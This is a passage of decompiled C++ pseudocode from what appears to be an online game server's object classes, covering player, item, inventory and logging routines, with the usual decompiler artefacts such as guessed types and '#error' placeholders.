ItemMiniHouseBox::_ItemMiniHouseBox(&v1->ci_MiniHouse); ItemQuestItemBox::_ItemQuestItemBox(&v1->ci_QuestBox); ItemInventory::_ItemInventory(&v1->ci_Inventory); ItemEquipment::_ItemEquipment(&v1->ci_Equipment); } //----- (004F06C0) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_Initstaticvar() { int result; // eax@1 memset(BriefInformationMob::bim_DefStateBit, 0, 0x30u); ShineObjectClass::ShineObject::so_defstopmotion.emoticonid = -1; ShineObjectClass::ShineObject::so_defstopmotion.emoticonframe = -1; BriefInformationMob::bim_DefStateBit[48] = 0; ItemBag::ib_InitStateCell(); word_1246F166 = 1000; word_1246F168 = 1000; word_1246F172 = 1000; word_1246F174 = 1000; word_1246F17A = 1000; word_1246F17E = 1000; word_1246F180 = 1000; word_1246F182 = 1000; word_1246F184 = 1000; word_1246F186 = 1000; ShineObjectClass::ShineObject::so_ChargedEffectContainerClear.cec_SilverWingCoolTime_Minute = 60; byte_1246F16A = 0; byte_1246F16E = 0; byte_1246F16F = 0; byte_1246F170 = 0; byte_1246F171 = 0; word_1246F176 = 1024; word_1246F178 = 1024; byte_1246F17C = 0; byte_1246F17D = 0; ShineObjectClass::ShineObject::so_WeddingData.header.clienthandle = -1; ShineObjectClass::ShineObject::so_WeddingData.header.charregistnumber = -1; ShineObjectClass::ShineObject::so_WeddingData.Status._bf0 = 0; ShineObjectClass::ShineObject::so_WeddingData.When._bf0 = ShineObjectClass::ShineObject::so_WeddingData.___u4.SubWhen._bf0; *(_DWORD *)&ShineObjectClass::ShineObject::so_WeddingData.gap12[11] = 0; *(_DWORD *)&ShineObjectClass::ShineObject::so_WeddingData.gap12[7] = 0; *(_DWORD *)&ShineObjectClass::ShineObject::so_WeddingData.gap12[3] = 0; *(_DWORD *)&ShineObjectClass::ShineObject::so_WeddingData.Partner._bf0 = 0; strncpy(&ShineObjectClass::ShineObject::so_WeddingData.Partner._bf0, byte_59A24E, 0x10u); *(_DWORD *)&ShineObjectClass::ShineObject::so_WeddingData.gap12[15] = -1; ShineObjectClass::ShineObject::so_WeddingData.WeddingCount = 0; ShineObjectClass::ShineObject::so_WeddingData.RefusalCount = 0; result = MiscDataTable::MiscData_Skill::mds_Init((int)&ShineObjectClass::ShineObject::so_MiscTableDef, -1); *(_DWORD *)&ShineObjectClass::ShineObject::so_CostumWeaponChargeing.iti_registnum.binary.gap0[0] = -1; dword_1246F07C = -1; return result; } // 1246F078: using guessed type struct ItemTotalInformation ShineObjectClass__ShineObject__so_CostumWeaponChargeing; // 1246F07C: using guessed type int dword_1246F07C; // 1246F160: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 1246F164: using guessed type struct ChargedEffectContainer ShineObjectClass__ShineObject__so_ChargedEffectContainerClear; // 1246F166: using guessed type __int16 word_1246F166; // 1246F168: using guessed type __int16 word_1246F168; // 1246F16A: using guessed type char byte_1246F16A; // 1246F16E: using guessed type char byte_1246F16E; // 1246F16F: using guessed type char byte_1246F16F; // 1246F170: using guessed type char byte_1246F170; // 1246F171: using guessed type char byte_1246F171; // 1246F172: using guessed type __int16 word_1246F172; // 1246F174: using guessed type __int16 word_1246F174; // 1246F176: using guessed type __int16 word_1246F176; // 1246F178: using guessed type __int16 word_1246F178; // 1246F17A: using guessed type __int16 word_1246F17A; // 1246F17C: using guessed type char byte_1246F17C; // 1246F17D: using guessed type char byte_1246F17D; // 1246F17E: using guessed type __int16 word_1246F17E; // 1246F180: using guessed type __int16 word_1246F180; // 1246F182: using guessed type __int16 word_1246F182; // 1246F184: using guessed type __int16 word_1246F184; // 1246F186: using guessed type __int16 word_1246F186; //----- (004F07F0) -------------------------------------------------------- #error "4F07F0: undefined or illegal type '#331' (funcsize=25)" //----- (004F0850) -------------------------------------------------------- #error "4F0850: undefined or illegal type '#331' (funcsize=26)" //----- (004F08C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::_ShineObject(int this) { int v1; // esi@1 v1 = this; *(_DWORD *)this = ShineObjectClass::ShineObject::_vftable_; ShineObjectClass::ShineObject::__unnamed::___unnamed((SlantedCoordList::ObjectYCoordNode *)(this + 6)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 4)); } // 4F0850: using guessed type _DWORD __fastcall ShineObjectClass__ShineObject____unnamed_____unnamed(SlantedCoordList::ObjectYCoordNode *this); // 5BF990: using guessed type int (*ShineObjectClass__ShineObject___vftable_[4])(); //----- (004F0920) -------------------------------------------------------- ShineRTTI *__cdecl ShineObjectClass::ShineObject::GetRTTI() { return &ShineObjectClass::ShineObject::m_RTTI; } //----- (004F0930) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_mob_LastHittedLocation(int this) { return *(_DWORD *)(this + 78); } //----- (004F0940) -------------------------------------------------------- CharacterInventory *__cdecl ShineObjectClass::ShineObject::so_ItemInventory() { return &ShineObjectClass::ShineObject::so_defiteminven; } //----- (004F0950) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_TradeStructure() { return &ShineObjectClass::ShineObject::so_deftradestr; } //----- (004F0960) -------------------------------------------------------- AllOfRangeArgument *__cdecl ShineObjectClass::ShineObject::so_TradeBoard() { return &ShineObjectClass::ShineObject::so_deftradebrd; } //----- (004F0970) -------------------------------------------------------- CharClassManager *__cdecl ShineObjectClass::ShineObject::so_CharacterClass() { return &charclassmanager; } //----- (004F0980) -------------------------------------------------------- SpyNet::EspionageAgent *__cdecl ShineObjectClass::ShineObject::so_SpyAgent() { return &ShineObjectClass::ShineObject::so_spy; } //----- (004F0990) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_mobile_AbstateList() { return &ShineObjectClass::ShineObject::so_defabstatelist; } //----- (004F09A0) -------------------------------------------------------- signed int __cdecl ShineObjectClass::ShineObject::so_ply_SilverWingCoolTime() { return 3600000; } //----- (004F09B0) -------------------------------------------------------- DiceTaiSai *__cdecl ShineObjectClass::ShineObject::so_PacketEncryptClass() { return &ShineObjectClass::ShineObject::so_PacketEncrypt; } //----- (004F09C0) -------------------------------------------------------- __int64 __cdecl ShineObjectClass::ShineObject::so_ply_CurrentExp() { return 0i64; } //----- (004F09D0) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_extradata() { return &ShineObjectClass::ShineObject::so_defextdata; } //----- (004F09E0) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_CharName() { return &ShineObjectClass::ShineObject::so_defname; } //----- (004F09F0) -------------------------------------------------------- int (__stdcall ***__cdecl ShineObjectClass::ShineObject::so_GetDataSocketStream())(int) { return &ShineObjectClass::ShineObject::so_dummypacketcontainer; } // 603218: using guessed type int (__stdcall **ShineObjectClass__ShineObject__so_dummypacketcontainer)(int sklidx); //----- (004F0A00) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineObject::so_ObjectType() { return -1; } //----- (004F0A10) -------------------------------------------------------- __int16 __cdecl ShineObjectClass::ShineObject::so_WalkSpeed() { return 0; } //----- (004F0A20) -------------------------------------------------------- int __thiscall std::basic_streambuf>::underflow(std::basic_streambuf > *this) { return -1; } //----- (004F0A30) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_LoginLocation() { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_LoginLocation", 0); return 0; } //----- (004F0A50) -------------------------------------------------------- int __thiscall ItemAttributeClass::iac_SetDeteleDateTime(ItemAttributeClass *this, ItemTotalInformation *iti, unsigned __int16 nAddEndureTime, unsigned __int16 nMaxEndure, tm *dCurTime) { return 0; } //----- (004F0A60) -------------------------------------------------------- signed __int16 __thiscall ShineObjectClass::ShineObject::so_RemakeHandle(void *this, unsigned __int16 handle) { void *sohu; // [sp+0h] [bp-10h]@1 int v4; // [sp+Ch] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); v4 = 0; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_RemakeHandle", handle); v4 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return -1; } //----- (004F0AC0) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_Getabstatebit() { return &ShineObjectClass::ShineObject::so_defabstatebit; } //----- (004F0AD0) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_drpitm_itemview() { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_itemview", 0); return 0; } //----- (004F0AF0) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_itempicked() { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_itempicked", 0); } //----- (004F0B10) -------------------------------------------------------- DiceTaiSai *__cdecl ShineObjectClass::ShineObject::so_parameter() { return &ShineObjectClass::ShineObject::so_defaultparam; } //----- (004F0B20) -------------------------------------------------------- unsigned int __cdecl ShineObjectClass::ShineObject::sp_lastpickuptime() { return clockwatch.cw_CurrTick; } //----- (004F0B30) -------------------------------------------------------- CCharacterTitleZone *__cdecl ShineObjectClass::ShineObject::so_GetCharacterTitle() { return &ShineObjectClass::ShineObject::so_DefCharTitle; } //----- (004F0B40) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_GetStatDistStr() { return &ShineObjectClass::ShineObject::so_StatDistStr; } //----- (004F0B50) -------------------------------------------------------- InventoryLocking::InventoryCellLock *__cdecl ShineObjectClass::ShineObject::so_ply_GetInventoryLockList() { return &ShineObjectClass::ShineObject::so_definvlocklist; } //----- (004F0B60) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_mobile_GetIdxName() { return (int)byte_59A24E; } //----- (004F0B70) -------------------------------------------------------- struct ChargedEffectContainer *__cdecl ShineObjectClass::ShineObject::so_ply_ChargedEffectContainer() { return &ShineObjectClass::ShineObject::so_ChargedEffectContainerClear; } // 1246F164: using guessed type struct ChargedEffectContainer ShineObjectClass__ShineObject__so_ChargedEffectContainerClear; //----- (004F0B80) -------------------------------------------------------- signed __int16 __cdecl ShineObjectClass::ShineObject::so_mobile_GetHPChangeOrder() { return 255; } //----- (004F0B90) -------------------------------------------------------- ShineCommonParameter::FreeStatStr *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatStr() { return shineparam.scp_param.freestatStr[0]; } //----- (004F0BA0) -------------------------------------------------------- ShineCommonParameter::FreeStatInt *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatInt() { return shineparam.scp_param.freestatInt[0]; } //----- (004F0BB0) -------------------------------------------------------- ShineCommonParameter::FreeStatDex *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatDex() { return shineparam.scp_param.freestatDex[0]; } //----- (004F0BC0) -------------------------------------------------------- ShineCommonParameter::FreeStatCon *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatCon() { return shineparam.scp_param.freestatCon[0]; } //----- (004F0BD0) -------------------------------------------------------- ShineCommonParameter::FreeStatMen *__cdecl ShineObjectClass::ShineObject::so_ply_FreeStatMen() { return shineparam.scp_param.freestatMen[0]; } //----- (004F0BE0) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_MiscTable() { return &ShineObjectClass::ShineObject::so_MiscTableDef; } //----- (004F0C00) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime(ItemAttrCls_ByteLot *this) { return 0; } //----- (004F0C10) -------------------------------------------------------- char __thiscall CQuest::GetQuestPlayerGender(CQuest *this) { return 0; } //----- (004F0C20) -------------------------------------------------------- signed __int16 __cdecl ShineObjectClass::ShineObject::so_getDetectRange() { return 1000; } //----- (004F0C30) -------------------------------------------------------- void __thiscall BroadcastEventPopper::_BroadcastEventPopper(BroadcastEventPopper *this) { if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; } // 5F4960: using guessed type int g_BroadcastStackPoint; //----- (004F0D80) -------------------------------------------------------- PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineEffectObject::so_LoginLocation(ShineObjectClass::ShineEffectObject *this) { return &this->seo_LoginLoc; } //----- (004F0D90) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineEffectObject::so_RemakeHandle(ShineObjectClass::ShineEffectObject *this, unsigned __int16 handle) { ShineObjectClass::ShineEffectObject *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 32 * handle | 3; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 32 * handle | 3; } //----- (004F0DD0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::smo_SetMode(int this, char mode) { int result; // eax@1 result = *(_DWORD *)(this + 3716); *(_BYTE *)result = mode; return result; } //----- (004F0DE0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::smo_GetMode(int this) { return **(_BYTE **)(this + 3716); } //----- (004F0DF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::SocketStream::_SocketStream(ShineObjectClass::ShinePlayer::SocketStream *this) { this->stream.baseclass_0.vfptr = (PacketContainerBaseVtbl *)&PacketContainerBase::_vftable_; } // 5BF980: using guessed type int (__stdcall *PacketContainerBase___vftable_)(int sklidx); //----- (004F0E00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::__unnamed::___unnamed(void *this) { CharacterInventory *v1; // esi@1 v1 = (CharacterInventory *)this; InventoryLocking::InventoryCellLockList::_InventoryCellLockList((InventoryLocking::InventoryCellLockList *)((char *)this + 25568)); CharacterInventory::_CharacterInventory(v1); } //----- (004F0E50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::NPCProcess::NPCProcess(ShineObjectClass::ShinePlayer::NPCProcess *this) { ShineObjectClass::ShinePlayer::NPCProcess *v1; // esi@1 v1 = this; MoveManager::MoveManager((DiceTaiSai *)&this->currentmenu); MoveManager::MoveManager((DiceTaiSai *)&v1->servermenuactor); MoveManager::MoveManager((DiceTaiSai *)&v1->duplicatemenustate); } //----- (004F0EB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::NPCProcess::_NPCProcess(ShineObjectClass::ShinePlayer::NPCProcess *this) { ShineObjectClass::ShinePlayer::NPCProcess *v1; // esi@1 v1 = this; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->duplicatemenustate); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->servermenuactor); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->currentmenu); } //----- (004F0F10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::AccountStorage::_AccountStorage(ShineObjectClass::ShinePlayer::AccountStorage *this) { ItemAccountStorage::_ItemAccountStorage(&this->storage); } //----- (004F0F20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::BoothSell::_BoothSell(ShineObjectClass::ShinePlayer::BoothSell *this) { ShineObjectClass::ShinePlayer::BoothSell *v1; // esi@1 v1 = this; StreetBoothBuy::_StreetBoothBuy(&this->boardbuy); StreetBoothSell::_StreetBoothSell(&v1->boardsell); } //----- (004F0F80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::ChargedInven::_ChargedInven(ShineObjectClass::ShinePlayer::ChargedInven *this) { CChargedItem::Clear(&this->inven); } //----- (004F0FF0) -------------------------------------------------------- ShineRTTI *__thiscall ShineObjectClass::ShineMagicField::GetRTTI(ShineObjectClass::ShineMagicField *this) { return &ShineObjectClass::ShineMagicField::m_RTTI; } //----- (004F1000) -------------------------------------------------------- int __thiscall CharClassFighter::cc_PromoteClass(ORFieldString *this) { return 2; } //----- (004F1010) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMagicField::so_RemakeHandle(ShineObjectClass::ShineMagicField *this, unsigned __int16 handle) { ShineObjectClass::ShineMagicField *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 32 * handle | 7; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 32 * handle | 7; } //----- (004F1040) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::MiniHouseInven::MiniHouseInven(ShineObjectClass::ShineMiniHouse::MiniHouseInven *this) { ShineObjectClass::ShineMiniHouse::MiniHouseInven *v1; // esi@1 v1 = this; ItemFurnicherBox::ItemFurnicherBox(&this->FurnitureInven); ItemFurnicherBox::ItemFurnicherBox(&v1->AccessoryInven); ItemFurnicherBox::ItemFurnicherBox(&v1->TileAllInven); ItemFurnicherBox::ItemFurnicherBox(&v1->MiniGameInven); } //----- (004F10B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::MiniHouseInven::_MiniHouseInven(ShineObjectClass::ShineMiniHouse::MiniHouseInven *this) { ShineObjectClass::ShineMiniHouse::MiniHouseInven *v1; // esi@1 v1 = this; ItemFurnicherBox::_ItemFurnicherBox(&this->MiniGameInven); ItemFurnicherBox::_ItemFurnicherBox(&v1->TileAllInven); ItemFurnicherBox::_ItemFurnicherBox(&v1->AccessoryInven); ItemFurnicherBox::_ItemFurnicherBox(&v1->FurnitureInven); } //----- (004F11E0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionArgument::Actor::_Actor(MobTacticElement::MobActionArgument::Actor *this) { MobTacticElement::MobActionArgument::Actor *v1; // esi@1 v1 = this; MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&this->turning); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->swingdamage); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->waitskillend); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->avoidoverlap); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->backstep); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->chase); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->attack); MobTacticElement::MobActionWander::_MobActionWander(&v1->wander); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->inmove_chase); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)&v1->inmove_cancelable); MobTacticElement::MobActionNoBrain::_MobActionNoBrain((MobTacticElement::MobActionNoBrain *)v1); } //----- (004F12C0) -------------------------------------------------------- void *__thiscall MobTargetAggresiveNoLevel::_scalar_deleting_destructor_(MobTargetAggresiveNoLevel *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobTargetAggresiveNoLevel::_MobTargetAggresiveNoLevel(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004F12E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineAxialFlag::so_BroadcastLogout(ShineObjectClass::ShineAxialFlag *this) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineAxialFlag::so_BroadcastLogout", 0); } //----- (004F1300) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_Disconnect(void *this, int reason, int when, int signal2WMS) { unsigned __int8 v4; // al@1 v4 = (*(int (**)(void))(*(_DWORD *)this + 1212))(); AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_Disconnect", v4); } //----- (004F1320) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineDropItem::_vector_deleting_destructor_(ShineObjectClass::ShineDropItem *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0x121u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineDropItem::_ShineDropItem); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineDropItem::_ShineDropItem(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (004F1380) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineEffectObject::_vector_deleting_destructor_(ShineObjectClass::ShineEffectObject *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0xD1u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineEffectObject::_ShineEffectObject); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineEffectObject::_ShineEffectObject(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (004F13E0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMagicField::_vector_deleting_destructor_(ShineObjectClass::ShineMagicField *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0xB8u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineMagicField::_ShineMagicField); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineMagicField::_ShineMagicField(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (004F1440) -------------------------------------------------------- int __thiscall PROTO_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_DWORD *)(this + 6) = *(_DWORD *)(a2 + 6); *(_DWORD *)(this + 10) = *(_DWORD *)(a2 + 10); *(_DWORD *)(this + 14) = *(_DWORD *)(a2 + 14); *(_DWORD *)(this + 18) = *(_DWORD *)(a2 + 18); *(_DWORD *)(this + 22) = *(_DWORD *)(a2 + 22); *(_DWORD *)(this + 26) = *(_DWORD *)(a2 + 26); *(_WORD *)(this + 30) = *(_WORD *)(a2 + 30); *(_DWORD *)(this + 32) = *(_DWORD *)(a2 + 32); *(_DWORD *)(this + 36) = *(_DWORD *)(a2 + 36); *(_DWORD *)(this + 40) = *(_DWORD *)(a2 + 40); *(_DWORD *)(this + 44) = *(_DWORD *)(a2 + 44); *(_WORD *)(this + 48) = *(_WORD *)(a2 + 48); *(_DWORD *)(this + 50) = *(_DWORD *)(a2 + 50); *(_DWORD *)(this + 54) = *(_DWORD *)(a2 + 54); *(_DWORD *)(this + 58) = *(_DWORD *)(a2 + 58); *(_DWORD *)(this + 62) = *(_DWORD *)(a2 + 62); *(_DWORD *)(this + 66) = *(_DWORD *)(a2 + 66); *(_DWORD *)(this + 70) = *(_DWORD *)(a2 + 70); *(_DWORD *)(this + 74) = *(_DWORD *)(a2 + 74); *(_DWORD *)(this + 78) = *(_DWORD *)(a2 + 78); *(_DWORD *)(this + 82) = *(_DWORD *)(a2 + 82); *(_WORD *)(this + 86) = *(_WORD *)(a2 + 86); *(_DWORD *)(this + 88) = *(_DWORD *)(a2 + 88); *(_DWORD *)(this + 92) = *(_DWORD *)(a2 + 92); *(_DWORD *)(this + 96) = *(_DWORD *)(a2 + 96); *(_DWORD *)(this + 100) = *(_DWORD *)(a2 + 100); *(_DWORD *)(this + 104) = *(_DWORD *)(a2 + 104); *(_DWORD *)(this + 108) = *(_DWORD *)(a2 + 108); return result; } //----- (004F1510) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_ply_KeepFromChat(int a1) { return (*(int (__cdecl **)(_DWORD))(*(_DWORD *)a1 + 1836))("Error in KeepFromChat"); } //----- (004F1530) -------------------------------------------------------- int __cdecl ShineObjectClass::ShinePlayer::so_ply_KeepFromChat(int a1) { return (*(int (__cdecl **)(_DWORD))(*(_DWORD *)a1 + 1836))("Success to silence"); } //----- (004F1550) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_LogoutLog(void *this, char *flag) { void *v2; // esi@1 int v3; // ecx@3 int v4; // eax@4 int v5; // eax@7 unsigned __int16 v6; // di@7 int v7; // ST38_4@7 int v8; // ST30_4@7 char *v9; // ST28_4@7 int v10; // ST20_4@7 int v11; // ST18_4@7 Name4 *v12; // eax@7 char *v13; // ST08_4@7 DebugLogging *v14; // eax@7 DebugLogging *v15; // eax@7 DebugLogging *v16; // eax@7 DebugLogging *v17; // eax@7 DebugLogging *v18; // eax@7 DebugLogging *v19; // eax@7 DebugLogging *v20; // eax@7 DebugLogging *v21; // eax@7 DebugLogging *v22; // eax@7 DebugLogging *v23; // eax@7 DebugLogging *v24; // eax@7 DebugLogging *v25; // eax@7 DebugLogging *v26; // eax@7 DebugLogging *v27; // eax@7 DebugLogging *v28; // eax@7 v2 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1136))() ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1136))(v2) != 3 ) { v3 = *(_DWORD *)((char *)v2 + 98); if ( v3 ) { v4 = *(_DWORD *)(v3 + 12); if ( v4 ) { if ( *(_BYTE *)(v4 + 54) ) { v5 = *(_DWORD *)((char *)v2 + 78); v6 = *((_WORD *)v2 + 2); v7 = *(_DWORD *)(v5 + 4); v8 = *(_DWORD *)v5; v9 = NameString::operator__(&namestring, (Name3 *)v3); v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 840))(v2); v12 = (Name4 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); v13 = NameString::operator__(&namestring, v12); v14 = DebugLogging::operator<<(&KQLogoutLog, flag); v15 = DebugLogging::operator<<(v14, (char *)&stru_5A89E0); v16 = DebugLogging::operator<<(v15, v13); v17 = DebugLogging::operator<<(v16, (char *)&argument); v18 = DebugLogging::operator<<(v17, v6); v19 = DebugLogging::operator<<(v18, (char *)&stru_59F2B8); v20 = DebugLogging::operator<<(v19, v11); v21 = DebugLogging::operator<<(v20, (char *)&stru_59F2B8); v22 = DebugLogging::operator<<(v21, v10); v23 = DebugLogging::operator<<(v22, (char *)&stru_59CBB8); v24 = DebugLogging::operator<<(v23, v9); v25 = DebugLogging::operator<<(v24, (char *)&stru_59F2B8); v26 = DebugLogging::operator<<(v25, v8); v27 = DebugLogging::operator<<(v26, (char *)&stru_59F2B8); v28 = DebugLogging::operator<<(v27, v7); DebugLogging::operator<<(v28, &deb_LF); } } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_LogoutLog : NULLOp", 0); } } } } } //----- (004F16A0) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_DefaultCoord() { return &ShineObjectClass::ShineObject::so_TempLocation; } //----- (004F16B0) -------------------------------------------------------- SHINE_COORD_TYPE *__thiscall ShineObjectClass::ShineAxialFlag::so_DefaultCoord(ShineObjectClass::ShineAxialFlag *this) { return &this->safm_DefaultCoord; } //----- (004F16C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_SetRulesOfEngagement(int this, int pCurRule) { int result; // eax@1 result = pCurRule; *(_DWORD *)(this + 7412) = pCurRule; return result; } //----- (004F16D0) -------------------------------------------------------- void __thiscall ProtocolLogger::pl_Logging(ProtocolLogger *this) { DebugLogging *v1; // edi@2 _iobuf *v2; // eax@4 DebugLogging *v3; // edi@6 _iobuf *v4; // eax@8 DebugLogging *v5; // edi@10 _iobuf *v6; // eax@12 DebugLogging *v7; // edi@14 _iobuf *v8; // eax@16 DebugLogging *v9; // edi@18 _iobuf *v10; // eax@20 _iobuf *v11; // eax@25 char k; // [sp+7h] [bp-5h]@1 ProtocolLogger *v13; // [sp+8h] [bp-4h]@1 v13 = this; for ( k = this->pl_Pointer; (unsigned __int8)k < (unsigned int)v13->pl_Pointer + 16; ++k ) { v1 = DebugLogging::operator<<(&EldLocateLog, "\t"); if ( DebugLogging::dl_ActivAll ) { if ( v1->dl_Activ ) { DebugLogging::dl_FilePoint(v1); v2 = v1->dl_FilePointer; if ( v2 ) fprintf(v2, "%d"); } } v3 = DebugLogging::operator<<(v1, ":"); if ( DebugLogging::dl_ActivAll ) { if ( v3->dl_Activ ) { DebugLogging::dl_FilePoint(v3); v4 = v3->dl_FilePointer; if ( v4 ) fprintf(v4, "%d"); } } v5 = DebugLogging::operator<<(v3, (char *)&stru_59F2B8); if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } } v7 = DebugLogging::operator<<(v5, ":"); if ( DebugLogging::dl_ActivAll ) { if ( v7->dl_Activ ) { DebugLogging::dl_FilePoint(v7); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } } v9 = DebugLogging::operator<<(v7, (char *)&stru_59F2B8); if ( DebugLogging::dl_ActivAll ) { if ( v9->dl_Activ ) { DebugLogging::dl_FilePoint(v9); v10 = v9->dl_FilePointer; if ( v10 ) fprintf(v10, "%d"); } if ( DebugLogging::dl_ActivAll && v9->dl_Activ ) { if ( v9->dl_FilePointer ) { v11 = DebugLogging::dl_FilePoint(v9); fputc(10, v11); fflush(v9->dl_FilePointer); fclose(v9->dl_FilePointer); 